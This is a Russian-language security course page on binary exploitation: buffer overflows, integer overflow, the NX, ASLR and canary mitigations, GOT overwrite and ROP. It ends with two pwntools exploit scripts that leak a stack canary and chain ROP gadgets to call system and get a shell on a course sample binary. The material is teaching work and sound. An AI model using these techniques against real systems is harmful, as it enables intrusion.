Введение в практическую безопасность (2019)/Бинарная эксплуатация
Уязвимости
Переполнение буфера
Переполнение буфера (buffer overflow) происходит, когда программа не проверяет размер буфера должным образом при записи в него. Например, так делает печально известные функции gets
, strcpy
, а также такое встречается и в пользовательском коде.
Техника эксплуатации сильно зависит от того, где произошло переполнение.
- Стек - интересными объектами являются адрес возврата функции (для return-to-xxx, ROP), сохраненные регистры (RBP для проведения stack pivot), соседние переменные.
- Глобальные переменные - соседние глобальные переменные, а в случае переполнения назад (underwrite) - GOT.
- Куча - соседние аллокации памяти, а также внутренние структуры данных, используемая аллокатором[1][2][3].
Buffer over-read
Очень похоже по своей сути на переполнение буфера, однако при этом содержимое памяти за пределами буфера выводится пользователю.
Обычно не приводит к чему-либо серьезному само по себе, однако может использоваться для обхода ASLR с целью эксплуатации других уязвимостей. А ещё см. нашумевший баг wikipedia:Heartbleed.
Uninitialized memory read
Как следует из названия, чтение неинициализованной памяти. Как и в случае buffer over-read, там можно найти интересные данные.
Integer overflow
Целочисленное переполнение является опасной уззвимостью, когда переполнение происходит при рассчете размера для выделения памяти.
В следующем примере сумма len1+len2
может переполниться таким образом, что len1 > len1 + len2 (https://ideone.com/qU4csI):
int foo(int fd) { size_t len1 = read_size(fd); size_t len2 = read_size(fd); char *buf = malloc(len1+len2); read_data(fd, buf, len1); read_data(fd, buf+len1, len2); // ... }
Поэтому read_data
может записать в буфер больше данных, чем доступно памяти в буфере, и затереть таким образом соседние объекты на куче.
Похожая проблема возникает при умножении и даже при неаккуратном прибавлении константного числа.
Средства защиты
В программах на языках C и C++, скомпилированных современными компиляторами и работающих на современных ОС, присутствует большое число противодействий бинарным уязвимостям (mitigations).
No execute (NX)
Средства ОС и процессора позволяют гибко настраивать права доступа на страницы виртуальной памяти. Эти права доступа позволяют запрещать выполнять данные как инструкции процессора. Напрмер, даже если записать шеллкод на стек, в память, выделенную через malloc
или в статический глобальный буфер, при попытке выполнить этот код произойдет SIGSEGV
На уровне пользовательской программы это реализовано флагом prot
в системных вызовах mmap
и mprotect
. Сам пользовательский код редко использует эти системные вызовы напрямую: ядро системы, динамический загрузчик (ld.so
) и libc сами выделяют память с правильными правами доступа.
Фактически это означает, что чтобы в таких условиях добиться выполнения произвольного кода (или хотя бы выходящего за спецификацию исходной программы), придется провести атаку переиспользования кода (code reuse) в том или ином виде. Например, переписать указатель на какую-то безобидную функцую на system
.
Посмотреть карту виртуальной памяти запущенного процесса можно при помощи программы pmap
, команды info proc mappings
в GDB, или vmmap
в GDB+PEDA.
ASLR
Чтобы затруднить атаки класса переиспользования кода (code reuse), такие как возврат в libc, адреса стека, кучи, и загрузки библиотек рандомизируются при каждом запуске программы. Это называется address space layout randomization.
Например, если в программе есть уязвимость, позволяющая переписать указатель на функцию, вы не можете записать туда адрес функции system
просто потому, что вы не знаете адрес этой функции. Похожая ситуация будет, если есть указатель на какую-то структуру (например, содержащую в себе флаг is_admin
): возможно вы и можете создать фейковую структуру с правильными полями на стеке, но вы не знаете, по какому адресу она окажется, чтобы записать этот адрес в тот указатель.
Как и многие другие защиты, ASLR не является абсолютной. Если в программе есть баг, позволяющий читать память за границей массива на стеке, с большой вероятностью вы там найдете адрес, ведущий в libc. Например, функция main
возвращается куда-то в недра __libc_start_main
, и если получится узнать адрес возврата, то посчитав смещение этого места относительно начала libc (для этой конкретной версии libc!), вы сможете узнать адрес загрузки библиотеки - и, соответственно, адреса всех функций, смещения которых фиксированы относительно базового адреса загрузки.
Начиная с примерно 2018 года большинство дистрибутивов Linux стали компилировать программы в режиме PIE (position-independent executable), позволяющие ОС и загрузчику рандомизировать также адрес загрузки самого бинаря, который до этого был всегда фиксировано 0x00400000
.
Проверить наличие PIE можно при помощи следующей команды pwntools. ASLR же для стека, кучи и библиотек при этом присутствует в любом случае.
$ pwn checksec /bin/bash [*] '/bin/bash' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
Stack canary
Stack canary (-fstack-protector
, stack smashing protector) - один из способов защиты от переполнения буфера на стеке.
При переполнении буфера освовную опасность представляет перезапись адреса возврата функции. От этого канарейка и защищает.
В прологе функции за адресом возврата[4] на стек сохраняется специальное секретное значение, которое проверяется при выходе из функции. Если оно изменилось, то значит произошло переполнение буфера на стеке, и программа немедленно завершается, не выполняя инструкцию ret.
В glibc канарейка генерируется один раз при запуске программы, и никогда не меняется. Если есть уязвимость, позволяющая прочесть значение канарейки, то её можно обойти, просто записывая поверх канарейки её значение. Однако алгоритм генерации всегда включает в значение нулевой байт, что может усложнить эксплуатацию при помощи строковых функций типа strcpy
.
В HexRays проверка канарейки декомпилируется неправильно. Но всегда, когда вы видите __readfsqword(0x28u)
, можете быть увереными, что это оно. Если хотите посмотреть корректный код, смотрите дизассемблер.
Техники эксплуатации
Перезапись GOT
В динамических слинкованных бинарях для вызова фунций из библиотек (libc и другие) используется специальная таблица GOT (global offset table).
Эта таблица содержит адреса библиотечных функций, которые требуются данной программе[5]. Эта таблица заполняется динамических загрузчиком (ld.so, dynamic linker/loader). По умолчанию эта таблица заполняется лениво: вместо адресов целевых функций там лежат адреса заглушек, которые вызывают динамический загрузчик, который в свою очередь заносит в таблицу уже адрес нужной функции и передает управление на неё. При последующих вызовах функция уже будет вызываться непосредственно, без загрузчика.
Поскольку такая ленивость предполагает доступ к этой таблице на запись во время работы программы, записи в ней очень удобно переписывать в процессе эксплуатации. Основными претендентами являются функции, принимающие первым аргументом указатель на контролируемую пользователем строку, типа free
, strlen
, и т.д.: их удобно переписывать на адрес system
.
Также бывает полезно читать данные оттуда для получения смещения libc и обхода ASLR таким образом.
Так как GOT обычно находится перед секциями .data
и .bss
, в эту таблицу можно попасть по отрицательным смещениям относительно глобальных переменных, также через arbitrary read/write по произвольному абсолютному адресу.
Опционально при компиляции можно включить защиту RELRO, которая делает эту таблицу неленивой и недоступной для запись. Уровень защиты можно проверить при помощи checksec (Partial RELRO с точки зрения эксплуатации не отличается от отсутствия RELRO, защиту обеспечивает только Full RELRO):
% ~/.local/bin/pwn checksec /bin/cat [*] '/bin/cat' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
Return-oriented programming
Return-oriented programming (ROP) - популярная техника эксплуатации переполнения буфера на стеке.
В самом простом варианте эксплуатации такого переполнения переписывается только адрес возврата функции. Однако такое не позволяет вызвать функцию с произвольными параметрами, можно лишь передавать управление на готовые куски кода. Это само по себе неплохо, если есть хорошие места в программе или в библиотеках (см. one gadget RCE в libc).
Но можно пойти дальше. Если есть возможность переписать и после адреса возврата, туда можно записать адреса т.н. гаджетов - последовательностей инструкций, заканчивающихся на ret
.
Эти гаджеты можно находить при помощи программ ropper, ROPGadget, и других. Эти программы позволяют находить гаджеты, которые не видны при простом дизассемблировании, т.к. как они могут начинаться на середине инструкции:
$ ~/.local/bin/pwn disasm -c amd64 5FC3 0: 5f pop rdi 1: c3 ret $ ~/.local/bin/pwn disasm -c amd64 415FC3 0: 41 5f pop r15 2: c3 ret
$ ~/.local/bin/ropper --file example_1.5_gets ... 0x0000000000400ba3: pop rdi; ret; 0x0000000000400ba1: pop rsi; pop r15; ret; ...
Например, нужно вызвать функцию по адресу 0xdeadbeef
функцию с аргументами 1 и 2. Тогда на стек, начиная с адреса возврата, нужно записать такие 64-битные числа: 0x0000000000400ba3, 0x1, 0x0000000000400ba1, 0x2, 0x1337, 0xdeadbeef
. Для понимания, как это работает, нужно отследить как меняется RSP по мере выполнения инструкций ret
и pop
.
- https://en.wikipedia.org/wiki/Return-oriented_programming
- https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI - какие регистры используются при вызове функций.
Пример эксплоита
Эксплоит для ./example_1.5_gets:
#!/usr/bin/env python2 from pwn import * # http://docs.pwntools.com/en/stable/context.html#pwnlib.context.ContextType.terminal # or just run in tmux and everything will work context.terminal = ["xterm", "-e"] p = process(["stdbuf", "-i0", "-o0", "./example_1.5_gets"]) gdb.attach(p, "b * 0x400B2D" ) p.sendline("128") p.sendline("aaaa") #p.interactive() p.recvuntil("Hello, ") data = p.recvuntil("Enter password") print hexdump(data) canary = data[40:48] payload = "" payload += "A" * 40 payload += canary payload += "A" * 24 payload += p64(0x0000000000400ba3) # pop rdi payload += p64(0x6020B0) # -> rdi payload += p64(0x4009B0) # read_line payload += p64(0x0000000000400ba3) # pop rdi payload += p64(0x6020B0) # -> rdi payload += p64(0x400B33) # system p.sendline(payload) p.sendline("sh") p.sendline("id") p.interactive()
Инструменты
pwntools
pwntools - удобная библиотека-фреймворк для написания эксплоитов.
http://docs.pwntools.com/en/stable/index.html
Эксплоит для примера example_1.5_gets
, разбираемого на задании (Media:2019 pwn samples.zip):
#!/usr/bin/env python2 from pwn import * # http://docs.pwntools.com/en/stable/context.html#pwnlib.context.ContextType.terminal # or just run in tmux and everything will work #context.terminal = ["xterm", "-e"] p = process(["stdbuf", "-i0", "-o0", "./example_1.5_gets"]) #gdb.attach(p) # <- uncomment to enable debugger p.sendline("128") p.sendline("aaaa") #p.interactive() p.recvuntil("Hello, ") data = p.recvuntil("Enter password") print hexdump(data) canary = data[40:48] payload = "" payload += "A" * 40 payload += canary payload += "A" * 24 payload += p64(0x400B33) # <- try to set it to 0xdeadbeef and see what happens in debugger p.sendline(payload) p.interactive()
Примечания
- ↑ https://sourceware.org/glibc/wiki/MallocInternals
- ↑ https://github.com/shellphish/how2heap
- ↑ Техники эксплуатации структур данных аллокатора не рассматриваются на этом спецкурсе.
- ↑ Иногда и перед потенциально опасными локальными переменными, как то указатели на функции.
- ↑ Библиотеки тоже могут использовать функции из других библиотек, у них тоже есть такая таблица.